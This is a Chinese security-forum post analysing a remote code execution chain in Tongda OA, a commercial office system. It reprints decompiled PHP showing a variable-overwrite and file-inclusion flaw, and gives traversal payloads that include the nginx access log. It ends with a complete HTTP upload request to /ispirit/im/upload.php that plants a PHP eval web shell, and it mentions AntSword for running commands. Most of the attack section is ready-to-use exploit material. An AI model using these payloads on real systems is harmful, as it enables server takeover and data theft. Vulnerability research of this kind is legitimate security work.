问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
通达OA RCE
漏洞分析
# 通达OA RCE ## 0x01 获取信息 ``` 获取版本信息 inc/expired.php inc/reg_trial.php inc/reg_trial_submit.php 获取计算机名 resque/worker.php ``` ## 0x02 影响版本...
通达OA RCE ======== 0x01 获取信息 --------- ```php 获取版本信息 inc/expired.php inc/reg_trial.php inc/reg_trial_submit.php 获取计算机名 resque/worker.php ``` 0x02 影响版本 --------- V11版 2017版 2016版 2015版 2013增强版 2013版 0x03 漏洞简介 --------- 任意文件上传+文件包含最后getshell 不同版本文件包含的地址不一样 ```php 2013 /ispirit/im/upload.php /ispirit/interface/gateway.php 2017 /ispirit/im/upload.php /mac/gateway.php ``` 2015说是没有文件包含,到时候本地搭一下看看 0X04 文件包含 --------- 上面说过了2017的文件包含位置 ```php http://127.0.0.1/mac/gateway.php post:json={"url": "../../nginx/logs/oa.access.log"} ``` 但是看了一下代码并不知道为什么可以包含文件,因为没有$\_POST的地方 后来一直翻包含文件才发现原来是inc/common.inc.php ```php if (0 < count($_COOKIE)) { foreach ($_COOKIE as $s_key => $s_value ) { if (!is_array($s_value)) { $_COOKIE[$s_key] = addslashes(strip_tags($s_value)); } $s_key = $_COOKIE[$s_key]; } reset($_COOKIE); } if (0 < count($_POST)) { $arr_html_fields = array(); foreach ($_POST as $s_key => $s_value ) { if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") { if (!is_array($s_value)) { $_POST[$s_key] = addslashes(strip_tags($s_value)); } $s_key = $_POST[$s_key]; } else { if (($s_key == "TD_HTML_EDITOR_FORM_HTML_DATA") || ($s_key == "TD_HTML_EDITOR_PRCS_IN") || ($s_key == "TD_HTML_EDITOR_PRCS_OUT") || ($s_key == "TD_HTML_EDITOR_QTPL_PRCS_SET") || (isset($_POST["ACTION_TYPE"]) && (($_POST["ACTION_TYPE"] == "approve_center") || ($_POST["ACTION_TYPE"] == "workflow") || ($_POST["ACTION_TYPE"] == "sms") || ($_POST["ACTION_TYPE"] == "wiki")) && (($s_key == "CONTENT") || ($s_key == "TD_HTML_EDITOR_CONTENT") || ($s_key == "TD_HTML_EDITOR_TPT_CONTENT")))) { unset($_POST[$s_key]); $s_key = ($s_key == "CONTENT" ? $s_key : substr($s_key, 15)); $s_key = addslashes($s_value); $arr_html_fields[$s_key] = $s_key; } else { $encoding = mb_detect_encoding($s_value, "GBK,UTF-8"); unset($_POST[$s_key]); $s_key = substr($s_key, 15); $s_key = addslashes(rich_text_clean($s_value, $encoding)); $arr_html_fields[$s_key] = $s_key; } } } reset($_POST); $_POST = array_merge($_POST, $arr_html_fields); } if (0 < count($_GET)) { foreach ($_GET as $s_key => $s_value ) { if (!is_array($s_value)) { $_GET[$s_key] = addslashes(strip_tags($s_value)); } $s_key = $_GET[$s_key]; } reset($_GET); } unset($s_key); unset($s_value); ``` 有这么一段代码,就是所有GET,POST,COOKIE都会经过过滤,同时所有变量都可以直接传参,有点变量覆盖的感觉了 那其实文件包含在GET,POST,COOKIE里面都可以,尝试了之后发现是可行的 下面是gateway.php ```php <?php ob_start(); include_once "inc/session.php"; include_once "inc/conn.php"; include_once "inc/utility_org.php"; if ($P != "") { if (preg_match("/[^a-z0-9;]+/i", $P)) { echo _("非法参数"); exit(); } session_id($P); session_start(); session_write_close(); if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) { echo _("RELOGIN"); exit(); } } if ($json) { $json = stripcslashes($json); $json = (array) json_decode($json); foreach ($json as $key => $val ) { if ($key == "data") { $val = (array) $val; foreach ($val as $keys => $value ) { $keys = $value; } } if ($key == "url") { $url = $val; } } if ($url != "") { if (substr($url, 0, 1) == "/") { $url = substr($url, 1); } include_once $url; } exit(); } ?> ``` 有些版本在包含$url的时候也会有判断,比如一定要包含general,ispirit,module其中一个, 可以通过../general/../../nginx/logs/oa.access.log绕过 如果不传P就可绕过第一个判断,第二个判断需要先传入一个json,可以把url放到json里面,也可以把url参数单独传,只要url不为空就会进入第一个包含 总结一下常规的payload ```php json={"url": "../../nginx/logs/oa.access.log"} json{}=&url=../../nginx/logs/oa.access.log json{}=&url=../general/../../nginx/logs/oa.access.log ``` 0x05 文件上传 --------- <http://127.0.0.1/ispirit/im/upload.php> ![](../../../images/web/vulnerability/tongoa_rce_2017/picture1.png) 首先传入P绕过第一个判断 不一定要获取session,主要是要绕过这个判断不走到auth.php里面 DEST\_UID的两个判断不是关键,只要$UPLOAD\_MODE为2都是可以走出去,不像有些文章说的一定不能等于0 ![](../../../images/web/vulnerability/tongoa_rce_2017/picture2.png) 但是upload里面进去找了半天还是不知道为什么就上传成功了 upload->add\_attach->$ATTACH\_ENCRYPT\["ENABLE"\] == 1 主要就是走这么一条路,ENABLE=1就上传成功了,但是不知道上传文件的代码在哪,也不知道ENABLE怎么变成1的,果然还是太弟弟了下,希望有大佬看到了带带我 这边就不继续看下去了,upload主要就是过滤后缀,不过因为有文件包含,后缀白名单里面选一个就行 现在看下来需要这几个参数 ```php UPLOAD_MODE P DEST_UID (可为空,但UPLOAD_MODE必须为2) ATTACHMENT ``` 就可以构造exp了 ```php POST /ispirit/im/upload.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 626 Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Content-Type: multipart/form-data; boundary=---123 Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5 Cookie: PHPSESSID=123 Connection: close ---123 Content-Disposition: form-data; name="UPLOAD_MODE" 2 ---123 Content-Disposition: form-data; name="P" 123 ---123 Content-Disposition: form-data; name="DEST_UID" 1 ---123 Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg" Content-Type: image/jpeg <?php eval($_POST['pass']); ?> ---123 ``` 这里Content-Type后面的boundary要和下面都一样,这也是刚刚学到的 还有一句话可以正常写,因为蚁剑自带COM执行命令 之后看看能不能写个工具自动化吧
发表于 2021-05-29 02:49:44
阅读 ( 5745 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Macchiato
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!